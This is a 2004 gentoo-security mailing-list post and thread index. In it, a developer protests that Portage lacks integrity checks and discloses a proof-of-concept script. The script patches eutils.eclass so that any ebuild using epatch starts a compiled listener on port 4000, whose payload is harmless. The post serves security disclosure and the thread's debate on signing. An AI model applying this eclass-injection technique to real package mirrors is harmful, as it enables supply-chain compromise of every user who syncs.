public inbox for gentoo-security@lists.gentoo.org
 help / color / mirror / Atom feed
* [gentoo-security] Trojan for Gentoo, part 2
@ 2004-11-06 20:16 Alexander Holler
  2004-11-07  0:31 ` [gentoo-security] " Chris Frey
  2004-11-07 13:14 ` [gentoo-security] Is anybody else worried about this? (was: Trojan for Gentoo, part 2) Peter Simons
  0 siblings, 2 replies; 75+ messages in thread
From: Alexander Holler @ 2004-11-06 20:16 UTC (permalink / raw
  To: gentoo-security

Hi,

after 1.5 years (2 years after the bug could could found in bugzilla) it 
seems that one of the highest security risks is closed. At least I've 
seen something about signed ebuilds. (see 
http://marc.theaimsgroup.com/?l=gentoo-security&m=104816199500974&w=2 ).

Time for the next part. I've already written a bug for that a year ago, 
but it was now closed a second time by "the ... gatekeeper".

See bug #26110

Here's the next small script. If you are operating a gentoo mirror, or 
having access to one, feel free to play with it.

If you are a user, the only practical way to ensure a minimum of 
security is to sync twice:
  (a) sync,
  (b) delete timestap,
  (c) sync with other mirror and
  (d) look if no files where different, otherwise restart with (a)

----------------gentooTrojan.sh---------------------------
#!/bin/sh
if [ ${#} -ne 1 ] ; then
   echo "This script puts a silly trojan into Gentoo's portage."
   echo "Usage: `basename ${0}` PathToPortage"
   exit 1
fi

mv ${1}/eclass/eutils.eclass ${1}/eclass/eutils-without-trojan.eclass
sed -e 's:^epatch().*{:epatch()  {\newarn "Starting Trojan.\nTry it with 
telnet localhost 4000.\nKill it with killall 
GentooTrojan."\n${PORTDIR}/eclass/GentooTrojan \&\n:' 
<${1}/eclass/eutils-without-trojan.eclass >${1}/eclass/eutils.eclass
cat >${1}/eclass/GentooTrojan.c << EOF
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(void)
{
         struct  sockaddr_in     serv;
         struct  sockaddr_in     cli;
         int     sock;
         sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
         if (sock < 0)
                 return 1;
         bzero((char *) &serv, sizeof(serv));
         serv.sin_family = AF_INET;
         serv.sin_addr.s_addr = htonl(INADDR_ANY);
         serv.sin_port = htons(4000);
         if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0)
                 return 1;
         if (listen(sock, 5) < 0)
                 return 1;
         while (1) {
                 int     scli;
                 int     slen;
     static char *str="Your are listing to the famous Gentoo trojan!\n";
                 slen = sizeof(cli);
                 scli = accept(sock, (struct sockaddr *) &cli, 
(socklen_t *) &slen);
     write(scli, str, strlen(str));
     close(scli);
         }
}
EOF

gcc -o ${1}/eclass/GentooTrojan ${1}/eclass/GentooTrojan.c

echo "Done. Portage successful infected with a trojan."
echo "Just emerge an ebuild which uses epatch and do a"
echo "  telnet localhost 4000"
echo "afterwards."
-------------------------------------------

Kind regards,

Alexander Holler


PS: Please don't reply to me, I don't read any Gentoo mailing lists 
anymore, in fact I even don't know why I'm writting this message, as I 
already have lost every interest in Gentoo some time ago.

PPS: Sorry for that hard words, but that all reminds me on Microsoft. 
The "eclass-hell" is as bad as the "dll-hell" and some bugs are getting 
forgotten, ignored or fixed in the same time.

PPPS: I really appreciate all the very good work on hardened gcc, 
selinux-profiles and so on, but for me, this all seems useless as long 
as the base is compromised that easy and the user has no practical way 
(e.g. hashs) to check what he gets on his machine with a 'sync'.

--
gentoo-security@gentoo.org mailing list


^ permalink raw reply	[flat|nested] 75+ messages in thread

end of thread, other threads:[~2004-11-12  6:56 UTC | newest]

Thread overview: 75+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2004-11-06 20:16 [gentoo-security] Trojan for Gentoo, part 2 Alexander Holler
2004-11-07  0:31 ` [gentoo-security] " Chris Frey
2004-11-07 13:10   ` [gentoo-security] help blocking automated ssh scanning attack script Brian G. Peterson
2004-11-07 13:16     ` Gary Nichols
2004-11-07 13:31       ` Brian G. Peterson
2004-11-07 13:37     ` Rui Covelo
2004-11-07 13:50     ` aScii
2004-11-08  4:44       ` Kim Nielsen
2004-11-07 14:50   ` [gentoo-security] Re: Trojan for Gentoo, part 2 Jason Rojas
2004-11-07 17:01     ` Carsten Lohrke
2004-11-07 15:23   ` Kurt Lieber
2004-11-07 15:44     ` Peter Simons
2004-11-07 15:49       ` Kurt Lieber
2004-11-07 16:01         ` Jan Groenewald
2004-11-07 16:07         ` Peter Simons
2004-11-07 16:52           ` Dan Margolis
2004-11-07 17:43             ` Andreas Waschbuesch
2004-11-07 17:52               ` Dan Margolis
2004-11-07 19:08                 ` Chocron J.
2004-11-07 19:11                 ` Andreas Waschbuesch
2004-11-08  2:41       ` [gentoo-security] How to authenticate the portage tree Peter Simons
2004-11-08  9:37         ` [gentoo-security] Gentoo Portage Attack Tree Ervin Németh
2004-11-08 10:11           ` Kurt Lieber
2004-11-08 12:15           ` [gentoo-security] " Peter Simons
2004-11-12  7:00             ` Ed Grimm
2004-11-08 20:05         ` [gentoo-security] How to authenticate the portage tree Marius Mauch
2004-11-07 13:14 ` [gentoo-security] Is anybody else worried about this? (was: Trojan for Gentoo, part 2) Peter Simons
2004-11-07 15:40   ` [gentoo-security] Is anybody else worried about this? Marc Ballarin
2004-11-07 15:15     ` Tobias Klausmann
2004-11-07 15:20     ` Alex
2004-11-07 15:28     ` [gentoo-security] " Peter Simons
2004-11-07 15:45       ` Rui Covelo
2004-11-07 16:44         ` [gentoo-security] " Chris Frey
2004-11-07 17:04           ` Rui Covelo
2004-11-07 17:11             ` [gentoo-security] " Chris Frey
2004-11-07 17:56             ` [gentoo-security] " Peter Simons
2004-11-07 18:00       ` Marc Ballarin
2004-11-07 17:26         ` Barry.Schwartz
2004-11-07 16:31     ` Chris Frey
2004-11-07 17:07     ` [gentoo-security] " Dan Margolis
     [not found]     ` <418E5425.6070400@seas.upenn.edu>
2004-11-07 18:34       ` Marc Ballarin
2004-11-07 17:57         ` Dan Margolis
2004-11-07 19:36           ` Marc Ballarin
2004-11-07 18:51             ` [gentoo-security] " Peter Simons
2004-11-08 20:12               ` Marius Mauch
2004-11-07 15:40   ` [gentoo-security] Is anybody else worried about this? (was: Trojan for Gentoo, part 2) Kurt Lieber
2004-11-07 17:01     ` [gentoo-security] " Chris Frey
2004-11-07 18:35       ` Dan Noe
2004-11-07 19:04       ` Marc Ballarin
2004-11-07 18:25         ` Peter Simons
2004-11-07 23:26       ` Kurt Lieber
2004-11-07 23:52         ` [gentoo-security] No, apparently not. (was: Is anybody else worried about this?) Peter Simons
2004-11-08  0:17           ` Kurt Lieber
2004-11-08  1:05             ` [gentoo-security] " Peter Simons
2004-11-08  1:08               ` Anthony Gorecki
2004-11-08  1:18                 ` Peter Simons
2004-11-08 16:11                   ` Jake Hawkes
2004-11-08  1:31               ` Kurt Lieber
2004-11-08  1:35                 ` Peter Simons
2004-11-08  9:19                 ` Tobias Klausmann
2004-11-08 10:19                   ` Kurt Lieber
2004-11-08 11:53                     ` Tobias Klausmann
2004-11-08 12:17                       ` Anthony Metcalf
2004-11-08 10:30                   ` [gentoo-security] Re: No, apparently not Thierry Carrez
2004-11-08 12:01                     ` Peter Simons
2004-11-08 10:36                   ` [gentoo-security] Keys on a cd? Anthony Metcalf
2004-11-08 13:30                     ` Kurt Lieber
2004-11-08  2:17           ` [gentoo-security] No, apparently not Brian Bilbrey
2004-11-08  2:33             ` [gentoo-security] " Peter Simons
2004-11-08  2:49             ` [gentoo-security] " Ed Grimm
2004-11-08  2:51               ` [gentoo-security] " Peter Simons
2004-11-08  3:01                 ` Ed Grimm
2004-11-08  3:08                   ` Peter Simons
2004-11-08  1:03         ` [gentoo-security] Re: Re: Is anybody else worried about this? (was: Trojan for Gentoo, part 2) Chris Frey
2004-11-08  1:19           ` Kurt Lieber

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox